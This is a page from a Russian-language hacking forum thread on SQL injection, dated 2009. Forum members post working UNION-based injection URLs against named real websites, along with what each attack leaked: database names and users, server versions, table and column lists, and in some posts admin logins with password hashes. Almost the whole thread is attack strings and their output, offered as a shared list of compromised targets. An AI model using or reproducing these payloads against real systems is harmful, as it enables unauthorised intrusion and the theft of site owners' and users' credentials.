SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,550
    Likes Received:
    1,252
    Reputations:
    274
    view-source:

    http://www.infotronica.ro/produs.php?id=-P:229-S:41+UNION+SELECT+1,2,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+limit+1,1

    http://www.infotronica.ro/produs.php?id=-P:229-S:41+UNION+SELECT+1,2,CONCAT((SELECT+CONCAT_WS(0x3a,Email,Parola,Nume)+FROM+tronica_infotr.angajati+LIMIT+0,1)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+limit+1,1

    Database Version: 5.0.81-community-log
    Database name: tronica_infotr
    User name: [email protected]
    Os: unknown-linux-gnu
     
    2 people like this.
  2. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    User: [email protected]
    Database: echodeltecho1
    Version: 4.0.25-standard-log
     
    1 person likes this.
  3. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    User: [email protected]
    Database: mrgrim8888
    Version: 4.1.22-max-log

    User: [email protected]
    Database: content
    Version: 5.0.67-userstats-log
     
    #11063 Ctacok, 5 Nov 2009
    Last edited: 5 Nov 2009
    1 person likes this.
  4. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,550
    Likes Received:
    1,252
    Reputations:
    274
    http://www.latodis-med.com/produs.php?id=74+UNION+SELECT+1,2,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),4,5,6,7,8,9,10,11,12,13+LIMIT+1,1--


    Database Version: 5.0.82-msl-usrs-sure2-log
    Database name: latodis_latodis
    User name: [email protected]
    Os: unknown-linux-gnu
     
  5. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    User: [email protected]
    Database: abstinencedb
    Version: 4.1.22

    User: [email protected]
    Database: autozap
    Version: 5.0.24a-community-nt
     
    #11065 Ctacok, 5 Nov 2009
    Last edited: 5 Nov 2009
    1 person likes this.
  6. Kamik

    Kamik Member

    Joined:
    2 Dec 2008
    Messages:
    122
    Likes Received:
    85
    Reputations:
    8
    Сайт какойто авиакомпании

    http://www.ctaholidays.net/beta/holiday_details.php?id=1225586740+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,user(),database(),version()),9,10,11,12,13,14,15--

    [email protected]:sercanak_ctav2:5.0.81-community-log

    Далее попал случайно

    http://www.ctaholidays.net/beta/holiday_details.php?id=1225586740+union+select+1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15+from+information_schema.tables+limit+21,100--

    Table 'sercanak_ctav2.holiday_to_insurance' doesn't existUnknown column '_users' in 'where clause'
    Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /home1/sercanak/public_html/ctaholidays/beta/classes/connection.cls.php on line 53

    Дальше крутите сами ;)
     
    1 person likes this.
  7. 547

    547 Active Member

    Joined:
    11 Oct 2009
    Messages:
    216
    Likes Received:
    105
    Reputations:
    50
    http://www.hlhclub.ru/state.php?id=-45+union+select+1,2,concat_ws(0x3a,user(),database(),version(),@@version_compile_os),4--

    [email protected]:wwwhlhclubru:4.1.25-log:portbld-freebsd6.4
     
  8. *uNkN0Wn*

    *uNkN0Wn* Member

    Joined:
    25 Mar 2009
    Messages:
    175
    Likes Received:
    92
    Reputations:
    11
    http://www.discusmedia.com/catalog.php?id=24751+and+1=0+ Union Select 1,2,3,4,concat_ws(0x3a,user(),database (),version(),@@version_compile_os),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35

    [email protected]:photoeu:5.0.75:pc-linux-gnu
     
  9. Bramin

    Bramin Banned

    Joined:
    15 May 2009
    Messages:
    187
    Likes Received:
    88
    Reputations:
    27
    5.0.87:[email protected]:foodlink

    4.1.25-log:wwwanthostnet:[email protected]

    5.0.77:www_new_catalog:[email protected]

    5.0.77:[email protected]:samara_info
    Таблица: dev_admin1t
     
    3 people like this.
  10. *uNkN0Wn*

    *uNkN0Wn* Member

    Joined:
    25 Mar 2009
    Messages:
    175
    Likes Received:
    92
    Reputations:
    11
    [email protected]:db204999831
    4.0.27-standard:pc-linux-gnu
     
    #11070 *uNkN0Wn*, 5 Nov 2009
    Last edited: 5 Nov 2009
    1 person likes this.
  11. Bb0y

    Bb0y Active Member

    Joined:
    30 Oct 2009
    Messages:
    116
    Likes Received:
    136
    Reputations:
    78
    http://www.komdiv.ru/viewnews.php?id=-9+union+select+1,2,3,4,group_concat(0x0b,column_name),6+from+information_schema.columns+where+table_name=0x70687062625f666f72756d7573657273--
    MySQL 5.1.36-log
    http://www.komdiv.ru/viewnews.php?id=-9+union+select+1,2,3,4,group_concat(0x0b,username,0x3a,user_password),6+from+phpbb_forumusers--
     
    5 people like this.
  12. Roston

    Roston Elder - Старейшина

    Joined:
    31 Jul 2008
    Messages:
    337
    Likes Received:
    104
    Reputations:
    8
    Code:
    http://www.skylink39.ru/catalog.php?id=64+union+select+1,2,3,concat_ws(0x203B20,user(),database(),version()),5,6,7,8,9,10,11,12,13+--+
    User: [email protected]
    Database: skylink2_db
    Version: 4.1.22-log
     
    5 people like this.
  13. 547

    547 Active Member

    Joined:
    11 Oct 2009
    Messages:
    216
    Likes Received:
    105
    Reputations:
    50
    http://www.endchildpoverty.org.uk/news.php?id=-23+union+select+1,2,3,version(),5,6,7,8,9--

    5.0.44

    Code:
    http://www.herpconstrust.org.uk/news/expand-news.php?id=-85+union+select+1,2,3,4,user(),6,7,8--
    4.1.19-standard-log
     
    #11073 547, 5 Nov 2009
    Last edited: 5 Nov 2009
    2 people like this.
  14. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,550
    Likes Received:
    1,252
    Reputations:
    274
    http://vintage-avenue.com/details.php?id=-102+union+select+1,concat_ws(0x3a,version(),database(),useR(),@@version_compile_os),3,4,5,6,7,8,9,10--

    Database Version: 4.1.22-log
    Database name: whvintagexpresscom
    User name: [email protected]
    Os: redhat-linux-gnu
     
    4 people like this.
  15. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,550
    Likes Received:
    1,252
    Reputations:
    274
    http://www.granitstore.ro/detalii-produs.php?id=-97+UNION+SELECT+1,2,3,4,concat_ws(0x3a,version(),database(),useR(),@@version_compile_os),6,7,8,9,10,11,12,13,14,15--



    http://www.granitstore.ro/detalii-produs.php?id=-97+UNION+SELECT+1,2,3,4,concat_ws(0x3a,utilizator,parola),6,7,8,9,10,11,12,13,14,15+from+admin+limit+1,1--


    admin:e0ee1d48f2a4697296e3e30d47cb2c
    админка есть по класическому адресу, но хеш очень интересный так как гуру брутеры и хешкрякеры не смогли опознать его

    Database Version: 5.0.51a-3ubuntu5.4
    Database name: granit_store
    User name: [email protected]
    Os: debian-linux-gnu
     
    5 people like this.
  16. 547

    547 Active Member

    Joined:
    11 Oct 2009
    Messages:
    216
    Likes Received:
    105
    Reputations:
    50
    Code:
    http://www.goldcoastoceanfest.co.uk/news.php?id=-1+union+select+1,version(),3,4--
    5.0.44
     
    3 people like this.
  17. ILYAtirtir

    ILYAtirtir Elder - Старейшина

    Joined:
    25 Apr 2007
    Messages:
    142
    Likes Received:
    246
    Reputations:
    73
    Федеральная власть в Татарстане
    Code:
    federal16:[email protected]:4.0.20-log
    Всемирная организация "Объединенные города и местные власти" Евроазиатское Региональное Отделение
    Code:
    b53750_russian:[email protected]:5.0.85

    Дизайн-студия "Амигос" - логотипы, фирменный стиль, создание сайтов, полиграфия, веб дизайн, регистрация доменов. Казань
    Code:
    samigos_samigos:[email protected]:4.1.22-standard
     
    9 people like this.
  18. min7

    min7 Elder - Старейшина

    Joined:
    3 Sep 2005
    Messages:
    117
    Likes Received:
    85
    Reputations:
    11
    тиц 120
    Code:
    http://www.[COLOR=Green]studycanada.ru[/COLOR]/cgi-bin/issue.cgi?action=showforum&cat_id=18&fid=3/**/union/**/select/**/1,concat_ws(char(58,58),user(),database(),version()),3,4,5,6,7/*  
    [email protected]::canada::4.1.20
     
    6 people like this.
  19. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    User: [email protected]
    Database: do
    Version: 5.0.51b-community-nt
     
    14 people like this.
  20. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    943
    Likes Received:
    827
    Reputations:
    605
    http://www.yamaha-hifi.de/index.php?lang=e&country=DE&idcat1=1&idcat2=2+union+select+1,concat_Ws(0x3a,user(),database(),version()),3,4--

    [email protected]localhost:usr_web5_1:4.0.15-Max

    http://www.eicta.org/index.php?id=32&id_article=50+and+substring(version(),1,1)=5--
     
    _________________________
    #11080 HAXTA4OK, 6 Nov 2009
    Last edited: 6 Nov 2009
    10 people like this.
Loading...
Thread Status:
Not open for further replies.